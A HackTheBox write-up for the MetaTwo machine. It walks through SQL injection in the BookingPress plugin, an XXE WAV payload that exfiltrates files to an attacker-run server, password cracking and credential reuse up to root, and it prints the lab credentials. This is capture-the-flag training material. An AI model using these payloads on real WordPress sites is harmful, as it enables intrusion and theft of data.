HTB: MetaTwo Writeup
MetaTwo - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | MetaTwo |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 30th October 2022 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
MetaTwo is an easy Linux machine featuring a WordPress website vulnerable to unauthenticated SQL injection via the BookingPress plugin (CVE-2022-0739). Exploitation reveals WordPress user password hashes which can be cracked to gain admin access. From there, an authenticated XXE vulnerability in the Media Library (CVE-2021-29447) exposes FTP credentials, leading to SSH access via credentials found in a PHP mailer configuration file. Privilege escalation is achieved by cracking the master passphrase of the Passpie password manager to retrieve the root user’s credentials.
TL;DR: SQL Injection (BookingPress) → Crack WP hash → XXE (Media Library) → FTP credentials → SSH credentials → Passpie passphrase cracking → root access
Reconnaissance
Port Scanning
# Fast port discoveryports=$(nmap -p- --min-rate=1000 -T4 10.10.11.186 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service enumerationnmap -p$ports -sV 10.10.11.186Results:
- Port 21 (FTP): ProFTPD file server
- Port 22 (SSH): OpenSSH service
- Port 80 (HTTP): Nginx web server
Service Enumeration
HTTP Service Discovery:
Browsing to port 80 redirects to metapress.htb. Add this to /etc/hosts:
echo "10.10.11.186 metapress.htb" | sudo tee -a /etc/hostsVisiting the site reveals a WordPress installation with an “Events” page. Using the Wappalyzer browser extension or HTTP headers identifies:
- WordPress Version: 5.6.2
- PHP Version: 8.0.24
- Plugin: BookingPress Appointment Booking v1.0.10
The Events page source code reveals the BookingPress plugin is loaded via /wp-content/plugins/bookingpress-appointment-booking/ with version 1.0.10.
Vulnerability Assessment
Identified Vulnerabilities:
- CVE-2022-0739 (BookingPress SQL Injection): The
bookingpress_front_get_category_servicesAJAX action fails to sanitize POST data, allowing unauthenticated SQL injection - CVE-2021-29447 (WordPress XXE in Media Library): Authenticated XXE vulnerability in WordPress 5.6.2 Media Library via specially crafted WAV files
- Weak Password Management: Credentials stored in plaintext PHP files accessible via FTP
- Passpie Master Passphrase: Weak passphrase susceptible to dictionary attacks
Initial Foothold
Exploitation Path
Step 1: Extract BookingPress SQL Injection Nonce
View the Events page source to locate the _wpnonce value:
curl -s http://metapress.htb/events/ | grep wpnonceThis yields the nonce needed for the AJAX request (e.g., 60646b11e1).
Step 2: Verify SQL Injection
Test the vulnerability with a manual curl request:
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \ --data 'action=bookingpress_front_get_category_services&_wpnonce=60646b11e1&category_id=123&total_service=111) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'The response confirms SQL injection is possible.
Step 3: Automate Exploitation with SQLMap
List available databases:
sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" \ --method POST \ --data "action=bookingpress_front_get_category_services&_wpnonce=60646b11e1&category_id=123&total_service=111" \ -p total_service --level=5 --risk=3 --dbsEnumerate tables in the blog database:
sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" \ --method POST \ --data "action=bookingpress_front_get_category_services&_wpnonce=60646b11e1&category_id=123&total_service=111" \ -p total_service --level=5 --risk=3 -D blog --tablesDump the wp_users table:
sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" \ --method POST \ --data "action=bookingpress_front_get_category_services&_wpnonce=60646b11e1&category_id=123&total_service=111" \ -p total_service --level=5 --risk=3 -D blog -T wp_users --dumpExtracted hashes:
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70Step 4: Crack WordPress Password Hashes
Save the hashes to a file:
cat > wp_users.hash << 'EOF'admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70EOFUse John the Ripper with rockyou.txt wordlist:
john --wordlist=/usr/share/wordlists/rockyou.txt wp_users.hashCracked credentials:
manager : partylikearockstarStep 5: Authenticate to WordPress Admin
Log in to WordPress at http://metapress.htb/wp-login.php with credentials:
username: managerpassword: partylikearockstarStep 6: Exploit XXE in Media Library
WordPress 5.6.2 is vulnerable to authenticated XXE. Create a WAV file containing an XXE payload.
First, create payload.wav:
# Note: Replace [YOUR_LOCAL_IP] with your tun0 IP addressecho -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_LOCAL_IP:8080/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wavCreate evil.dtd to exfiltrate /etc/passwd:
cat > evil.dtd << 'EOF'<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOUR_LOCAL_IP:8080/?p=%file;'>" >EOFStart a Python HTTP server to capture the response:
python3 -m http.server 8080Upload payload.wav via WordPress Media Library. The server will receive base64-encoded /etc/passwd data.
Step 7: Extract wp-config.php via XXE
Modify evil.dtd to target wp-config.php:
cat > evil.dtd << 'EOF'<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php"><!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOUR_LOCAL_IP:8080/?p=%file;'>" >EOFUpload another WAV file to extract FTP credentials from wp-config.php:
FTP_USER: metapress.htbFTP_PASS: 9NYS_ii@FyL_p5M2NvJStep 8: Access FTP Server
ftp 10.10.11.186# Username: metapress.htb# Password: 9NYS_ii@FyL_p5M2NvJDownload send_email.php from the FTP server:
get send_email.phpThe file reveals SSH credentials:
Username: jnelson@metapress.htbPassword: Cb4_JmWM8zUZWMu@YsStep 9: SSH Access
ssh jnelson@10.10.11.186# Password: Cb4_JmWM8zUZWMu@YsRetrieve the user flag:
cat /home/jnelson/user.txtPrivilege Escalation
Exploitation Path
Step 1: Enumerate User Directory
Discover the .passpie directory containing Passpie password manager data:
ls -la ~/.passpie/This reveals a .keys file containing GPG public and private keys.
Step 2: Extract GPG Private Key
cat ~/.passpie/.keysCopy the private key block for offline cracking. Use scp to transfer to your local machine:
scp jnelson@10.10.11.186:/home/jnelson/.passpie/.keys ./keysStep 3: Generate GPG Key Hash
Remove the public key section from the keys file (keep only the private key block), then generate a crackable hash:
gpg2john keys > keys.hashStep 4: Crack the Passphrase
Use John the Ripper with the GPG format:
john --wordlist=/usr/share/wordlists/rockyou.txt keys.hash --format=gpgCracked passphrase:
blink182Step 5: Export Passpie Passwords
Back on the target machine, export the Passpie database:
passpie export ~/password.dbWhen prompted for the passphrase, enter:
blink182Step 6: Retrieve Root Password
View the exported passwords:
cat ~/password.dbExtract the root password:
root : p7qfAZt4_A1xo_0xStep 7: Switch to Root
su root# Password: p7qfAZt4_A1xo_0xRetrieve the root flag:
cat /root/root.txtAttack Chain Summary
Nmap Scan ↓Identify WordPress 5.6.2 + BookingPress 1.0.10 ↓CVE-2022-0739 (SQL Injection) ↓Extract wp_users hashes ↓John the Ripper (Crack manager hash) ↓WordPress Admin Access ↓CVE-2021-29447 (XXE in Media Library) ↓Extract wp-config.php (FTP Credentials) ↓FTP Access → send_email.php (SSH Credentials) ↓SSH as jnelson ↓User Flag ✓ ↓Enumerate .passpie/.keys ↓gpg2john + John the Ripper (Crack passphrase: blink182) ↓Export Passpie Database (Root Password) ↓su root ↓Root Flag ✓Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service detection |
curl | Manual HTTP requests and testing |
sqlmap | Automated SQL injection exploitation |
john | Password hash and passphrase cracking |
gpg2john | Convert GPG keys to crackable hashes |
ftp | FTP server access |
scp | Secure file transfer |
ssh | Secure shell access |
passpie | Password manager access and export |
python3 -m http.server | HTTP server for XXE exfiltration |
wappalyzer | Technology stack detection |
Key Learnings
Techniques Practiced
- Unauthenticated SQL injection in WordPress plugins
- Hash cracking with John the Ripper (WordPress and GPG formats)
- XML External Entity (XXE) injection in PHP applications
- PHP filter wrappers for file exfiltration
- Base64 encoding/decoding for data obfuscation
- GPG key extraction and passphrase cracking
- FTP server enumeration and file retrieval
- SSH credential extraction from application files
- Privilege escalation via password manager exploitation
Lessons Learned
-
Plugin Vulnerabilities Are Critical: The BookingPress plugin’s lack of input sanitization allowed complete database compromise without authentication. Always audit third-party WordPress plugins for CVE disclosures.
-
XXE Exploitation Requires Authentication Context: While XXE required admin access, it provided a path to extract sensitive configuration files. This demonstrates the importance of compartmentalizing credentials across services.
-
Plaintext Credential Storage: The
send_email.phpfile contained hardcoded SSH credentials. Never store passwords in source code or configuration files accessible via FTP. -
Master Passwords Are the Weakest Link: Password managers like Passpie rely on a single master passphrase. If that passphrase is weak (blink182 is a dictionary word), the entire credential store is compromised.
-
Privilege Escalation Chains: This machine demonstrated a realistic attack chain: initial compromise → lateral access → privilege escalation. Each layer built upon previous discoveries.
-
Base64 Encoding as Exfiltration Method: XXE payloads used base64 encoding to bypass filtering on special characters. Understanding encoding bypasses is essential for post-exploitation.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>